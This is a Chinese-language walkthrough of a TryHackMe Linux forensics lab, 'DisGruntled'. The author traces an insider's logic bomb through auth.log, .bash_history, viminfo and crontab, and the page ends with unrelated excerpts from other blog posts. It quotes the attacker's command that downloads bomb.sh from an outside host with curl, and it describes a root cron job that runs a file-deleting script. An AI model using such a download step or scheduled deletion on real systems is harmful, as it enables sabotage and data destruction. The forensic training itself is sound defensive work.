【THM】linux取证 DisGruntled
目录
0x00 房间介绍
0x01 连接并简单排查
0x02 让我们看看做没做坏事
0x03 炸弹已埋下。但何时何地?
0x04 收尾
0x05 结论
0x00 房间介绍
0x01 连接并简单排查
我们通过ssh连接到该机器
查看两个任务,我们思考一下如何解决。
我们知道auth.log文件记录了系统的日志信息,所以安装包的命令会在上面留下日志。
/var/log/auth.log
文件用于记录与系统认证和授权相关的日志信息。这包括:
- 用户登录和注销事件
- 使用
sudo
执行的命令- SSH 登录尝试
- 系统服务(如 PAM)相关的认证事件
我们使用下面这段代码进行查询与sudo有关的日志查询。
sudo cat /var/log/auth.log | grep sudo
最终我找到了这条命令,但是我复盘的时候发现,应该有更好用的命令。
因为是安装包的命令,肯定会有apt或者yum,所以我们再加入一个条件限制搜索结果。
sudo cat /var/log/auth.log | grep sudo | grep apt
这条命令就过滤的很简单。
同时同一行也有工作目录。
0x02 让我们看看做没做坏事
首先创建用户必须是root或者sudo提权,并且linux添加用户的操作是useradd,根据此信息,我们编写一个脚本去终端中执行。
sudo cat /var/log/auth.log | grep adduser | grep sudo
我的疑问:adduser,和useradd的区别,ai给出了很好的解释
第二个问题,sudoer文件什么时候更新。
知识:编辑 /etc/sudoers 文件时会调用“visudo”。在日志中查找此命令。
sudo cat /var/log/auth.log | grep visudo
我们使用此命令查找到了文件更新时间。
第三个任务,我们可以知道使用了vi编辑器
/home/Viminfo 文件包含在 Vim 中打开的文件的命令行历史记录、搜索字符串历史记录等。
很开门,但是没啥用,我们使用下面的命令直接得到编辑命令
sudo cat /var/log/auth.log | grep vi
0x03 炸弹已埋下。但何时何地?
该bomb.sh
文件是一个巨大的危险信号! 虽然文件本身已经足以证明其有罪,但我们仍需要找出它的来源和内容。问题是该文件已不存在。
我们看看任务都有什么?
上文我们已经得到了文件的路径,我随后跟进到这个目录,发现这个文件已经被删除。
我发现隐藏文件有一个.bash_history
/home/user/Bash_history 文件列出了除使用 sudo 运行的命令之外的所有命令,这些命令都存储在 bash 历史记录中。我们打开它,发现了有关恶意文件的信息。
创建bomb.sh的命令,curl 10.10.158.38:8080/bomb.sh --output bomb.sh
指的是访问这个站点的sh文件并将它保存到本地
任务者提到了这个sh文件被移到了其他位置,但是没有被发现。
我们查看一下viminfo文件
/home/viminfo 文件包含在 Vim 中打开的文件的命令行历史记录、搜索字符串历史记录等。
对于vim编辑器来说:
:
开始了一个 Ex 命令。saveas
是一个命令,用于保存编辑的内容到一个新文件
我们知道了它被移动的位置。
文件最后被修改的时间是一个问题,但是我找到了时间戳
date -d @1672208955
我们可以使用这个命令将时间戳变成时间。
最后一个问题十分简单,我们直接访问那个文件,查看这个sh文件执行的命令就可以得出啦!
0x04 收尾
我们知道这个文件被加入了定时任务中,我们去查看一下.
查看定时任务
cat /etc/crontab
0 8 * * * root /bin/os-update.sh
具体解释如下:
0
: 表示分钟,0
表示整点。8
: 表示小时,8
表示上午 8 点。*
: 表示日(每个月的每天都会触发)。*
: 表示月(每年的每个月都会触发)。*
: 表示星期几(每周的每一天都会触发)。
表示在 每天的 8:00 AM 由 root 用户 执行 /bin/os-update.sh
脚本。
0x05 结论
感谢您,现在我们知道了我们那位心怀不满的 IT 人员在计划什么。
我们知道,他在机器上下载了一个事先准备好的脚本,如果用户在过去 30 天内没有登录过这台机器,这个脚本就会删除已安装服务的所有文件。这绝对是“逻辑炸弹”的典型例子。
看看你,上班第二天,你就帮我解决了两个案子。告诉索菲,我让你涨工资了。
相关文章:
【THM】linux取证 DisGruntled
目录 0x00 房间介绍 0x01 连接并简单排查 0x02 让我们看看做没做坏事 0x03 炸弹已埋下。但何时何地? 0x04 收尾 0x05 结论 0x00 房间介绍 嘿,孩子!太好了,你来了! 不知道您是否看过这则新闻,我…...
SpringBoot整合Freemarker(四)
escape, noescape 语法 <#escape identifier as expression>...<#noescape>...</#noescape>... </#escape> 用例 主要使用在相似的字符串变量输出,比如某一个模块的所有字符串输出都必须是html安全的,这个时候就可以使用&am…...
centos docker 安装 rabbitmq
安装docker 1.更新现有的软件包 首先,确保您的系统是最新的,可以通过运行以下命令来实现: sudo yum update -y 2.移除旧版本的Docker 如果您之前安装过Docker,可能需要先卸载旧版本。使用以下命令来卸载旧版本的Docker&#…...
手动实现promise的all,race,finally方法
Promise.all 是一个非常有用的工具,它接受一个 Promise 对象数组,并返回一个新的 Promise。当所有输入的 Promise 都成功解决时,新的 Promise 会解决为一个包含所有结果的数组;如果任何一个 Promise 被拒绝,新的 Prom…...
H5移动端预览PDF方法
新建页面 新建一个页面以便去预览对应的pdf 新建完后在 pages.json 文件内去新增对应路由 页面内容 <template><view class"page"><view class"pdf"><view id"demo"></view></view><view class"b…...
uniapp—android原生插件开发(1环境准备)
本篇文章从实战角度出发,将UniApp集成新大陆PDA设备RFID的全过程分为四部曲,涵盖环境搭建、插件开发、AAR打包、项目引入和功能调试。通过这份教程,轻松应对安卓原生插件开发与打包需求! 项目背景: UniApp集成新大陆P…...
《潜行者2切尔诺贝利之心》游戏引擎介绍
潜行者2切尔诺贝利之心是基于虚幻5引擎,所以画面效果大家不必担心。游戏目前已经跳票了很久,预计发售时间是2024 年 11 月 21 日,这次应该不会再跳票。 潜行者2切尔诺贝利之心是虚幻5吗 答:是虚幻5。 潜行者官方推特之前回复了…...
winform 加载 office excel 插入QRCode图片如何设定位置
需求:winform 加载 office excel 并加载QRCode图片,但是每台PC打印出来QRCode位置都不太一样,怎么办呢? 我的办法: 1、在sheet中插入一个 textbox ,改名 qrcode (这个名字随便设置)…...
简易入手《SOM神经网络》的本质与原理
原创文章,转载请说明来自《老饼讲解神经网络》:www.bbbdata.com 关于《老饼讲解神经网络》: 本网结构化讲解神经网络的知识,原理和代码。 重现matlab神经网络工具箱的算法,是学习神经网络的好助手。 目录 一、入门原理解说 01.…...
21.assert断言
assert(断言)主要用于在程序运行过程中检查某个条件是否满足,如果不满足则会触发错误并终止程序执行,可以帮助程序员在开发阶段及时发现可能存在的逻辑错误等问题。 通过断言调试程序,abotr() has been called 就是断言…...
15分钟学 Go 第 46 天 : 监控与日志
第46天:监控与日志 学习目标 了解如何实现应用监控与日志管理,掌握相关工具和最佳实践。 内容结构 引言监控的概念与工具 监控的定义常见监控工具 日志管理的概念与工具 日志的重要性常见日志管理工具 实现监控与日志的最佳实践 监控指标日志格式 实战…...
BFS 算法专题(四):多源 BFS
目录 1. 01 矩阵 1.1 算法原理 1.2 算法代码 2. 飞地的数量 2.1 算法原理 2.2 算法代码 3. 地图中的最高点 3.1 算法原理 3.2 算法代码 4. 地图分析 4.1 算法原理 4.2 算法代码 1. 01 矩阵 . - 力扣(LeetCode) 1.1 算法原理 采用 BFS 正难…...
基于Spring Boot+Vue的养老院管理系统【原创】
一.系统开发工具与环境搭建 1.系统设计开发工具 后端使用Java编程语言的Spring boot框架 项目架构:B/S架构 运行环境:win10/win11、jdk17 前端: 技术:框架Vue.js;UI库:ElementUI; 开发工具&…...
Linux screen和cscope工具使用总结
1 minicom使用 1.1 minicom配置 第一次启动时: 如果输入sudo minicom提示错误,则需: sudo minicom -s 启动 出现配置菜单:选serial port setup 进入串口配置 输入A配置串口驱动为/dev/ttyUSB0 输入E配置速率为115200 8N1 输入F将 …...
深度学习面试八股汇总
按序发布: 深度学习——优化算法、激活函数、归一化、正则化 进入 深度学习——权重初始化、评估指标、梯度消失和梯度爆炸 进入 深度学习——前向传播与反向传播、神经网络(前馈神经网络与反馈神经网络)、常见算法 进入 深度学习——卷积神…...
微服务架构面试内容整理-API 网关-Gateway
Spring Cloud Gateway 是一个用于构建 API 网关的框架,它为微服务架构提供了灵活的路由和过滤功能。作为 Spring Cloud 生态的一部分,Gateway 提供了易于使用的 API 和强大的功能,适合用于现代微服务架构中的请求管理和服务交互。以下是 Spring Cloud Gateway 的主要特点、工…...
22.04Ubuntu---ROS2使用rclcpp编写节点C++
节点需要存在于功能包当中,功能包需要存在于工作空间当中。 所以我们要想创建节点,就要先创建一个工作空间,再创建功能包。 第一步:创建工作空间 mkdir -p chapt2_ws/src/ 第二步:创建example_cpp功能包,…...
XML 现实案例:深入解析与应用
XML 现实案例:深入解析与应用 XML(可扩展标记语言)自1998年成为W3C推荐标准以来,一直是数据交换和存储的重要工具。它是一种用于标记电子文件的结构化语言,使得数据不仅人类可读,而且机器可处理。本文将探讨XML在现实世界中的应用案例,展示其如何在不同领域中发挥作用。…...
Spring源码(十二):Spring MVC之Spring Boot
本篇将详细讨论Spring Boot 的启动/加载、处理请求的具体流程。我们先从一个简单的Spring Boot项目日志开始分析(这里假设读者已经仔细阅读完了前面的文章,且对Spring源码有一定深度的了解,否则会看得一脸懵逼)。 本文为2024重置…...
Kafka 之事务消息
前言: 在分布式消息系统中,事务消息也是一个热门课题,在项目的实际业务场景中,如果用到事务消息的场景也不少见,那 Kafka 作为一个高性能的分布式消息中间件,同样也支持事务消息,本篇我们将对 …...
小菜家教平台(四):基于SpringBoot+Vue打造一站式学习管理系统
前言 昨天配置完了过滤器,权限检验,基本的SpringSecurity功能已经配置的差不多了,今天继续开发,明天可能会暂停一天整理一下需求,然后就进行CRUD了。 今日进度 补充SpringSecurity异常处理和全局异常处理器 详细操作…...
解决 Vue3、Vite 和 TypeScript 开发环境下跨域的问题,实现前后端数据传递
引言 本文介绍如何在开发环境下解决 Vite 前端(端口 3000)和后端(端口 80)之间的跨域问题: 在开发环境中,前端使用的 Vite 端口与后端端口不一致,会产生跨域错误提示: Access to X…...
量化交易系统开发-实时行情自动化交易-3.3.数据采集流程
19年创业做过一年的量化交易但没有成功,作为交易系统的开发人员积累了一些经验,最近想重新研究交易系统,一边整理一边写出来一些思考供大家参考,也希望跟做量化的朋友有更多的交流和合作。 接下来说说数据采集流程,后…...
探索PyAV:Python中的多媒体处理利器
文章目录 探索PyAV:Python中的多媒体处理利器第一部分:背景介绍第二部分:PyAV是什么?第三部分:如何安装PyAV?第四部分:简单的库函数使用方法1. 打开文件2. 查看流3. 遍历帧4. 编码帧5. 关闭输出…...
SpringBoot源码解析(三):启动开始阶段
SpringBoot源码系列文章 SpringBoot源码解析(一):SpringApplication构造方法 SpringBoot源码解析(二):引导上下文DefaultBootstrapContext SpringBoot源码解析(三):启动开始阶段 目录 前言一、入口二、SpringApplicationRunListener1、作用…...
C# const与readonly关键字的区别
在C#中,readonly关键字用于定义在对象创建后不能更改的字段。它可以与常量(const)有些相似,但也有显著不同。以下是readonly关键字的一些关键点: 定义与用法: readonly字段可以在类的构造函数中初始化,而const字段必须…...
【数据分享】1901-2023年我国省市县镇四级的逐年降水数据(免费获取/Shp/Excel格式)
之前我们分享过1901-2023年1km分辨率逐月降水栅格数据和Shp和Excel格式的省市县四级逐月降水数据,原始的逐月降水栅格数据来源于彭守璋学者在国家青藏高原科学数据中心平台上分享的数据!基于逐月数据我们采用求年累计值的方法得到逐年降水栅格数据&#…...
hhdb数据库介绍(9-4)
访问安全 权限体系 计算节点有两类用户,一类是计算节点数据库用户,用于操作数据,执行SELECT,UPDATE,DELETE,INSERT等SQL语句。另一类是关系集群数据库可视化管理平台用户,用于管理配置信息。此…...
苍穹外卖的分层所用到的技术以及工具+jwt令牌流程图(jwt验证)
分层用到的技术以及工具: jwt令牌流程图:...
Python——数列1/2,2/3,3/4,···,n/(n+1)···的一般项为Xn=n/(n+1),当n—>∞时,判断数列{Xn}是否收敛
没注释的源代码 from sympy import * n symbols(n) s n/(n1) print(数列的极限为:,limit(s,n,oo))...
wordpress输出菜单/搜索量最大的关键词
本节书摘来自异步社区《为iPad而设计:打造畅销App》一书中的尊重用户,作者【英】Chris Stevens,更多章节内容可以访问云栖社区“异步社区”公众号查看 尊重用户为iPad而设计:打造畅销App在亨利福特(Henry Ford…...
网站 租用服务器价格/引擎优化seo怎么做
本篇文章主要给大家介绍用css3实现字体凹陷或凸出效果的实现方法。我们在设计网页时,常常会需要考虑到用户体验,那么足够美观的网页才能吸引住用户。为了让网页内容更加丰富好看,我们可能会使用ps做出很多特效,其实除了ps…...
网站飘窗建设合同/国外seo工具
docker官方英文手册转载于:https://blog.51cto.com/13791715/2159639...
游戏网站制作/上海app网络推广公司电话
第一章 Java学习方法及基础java-0-1学习Java的关键和学什么java-0-2部分学习方法、几个重要的嘱咐-1java-0-3几个重要的嘱咐-2,上课建议java-1 Java是什么、有什么java-2 Java能干什么java-3 闲话Java(Java历史、Java大事记、Java特点、Java标准组织JCP)java-4 构建…...
服务行业做网站/每日舆情信息报送
做互联网的人都习惯把一切搬到互联网上进行:网站浏览、邮件、IM、网上办公、文件共享……甚至现在连订餐都流行网上去做。不知道将来上厕所能不能在网上订马桶?互联网本来是人类活动的延伸,是人类活动的另一种形式。但我们进入互联网之后好像…...
网站建设中首页模板下载/精准推广的渠道有哪些
文章目录1. 可变数据2. 发散式变化1. 可变数据 定义:对数据的修改经常导致出乎意料的结果和难以发现的bug。 影响:在一处修改数据,却在另一处造成难以发现的破坏,影响可维护性。 重构目标:应用数据不变性࿰…...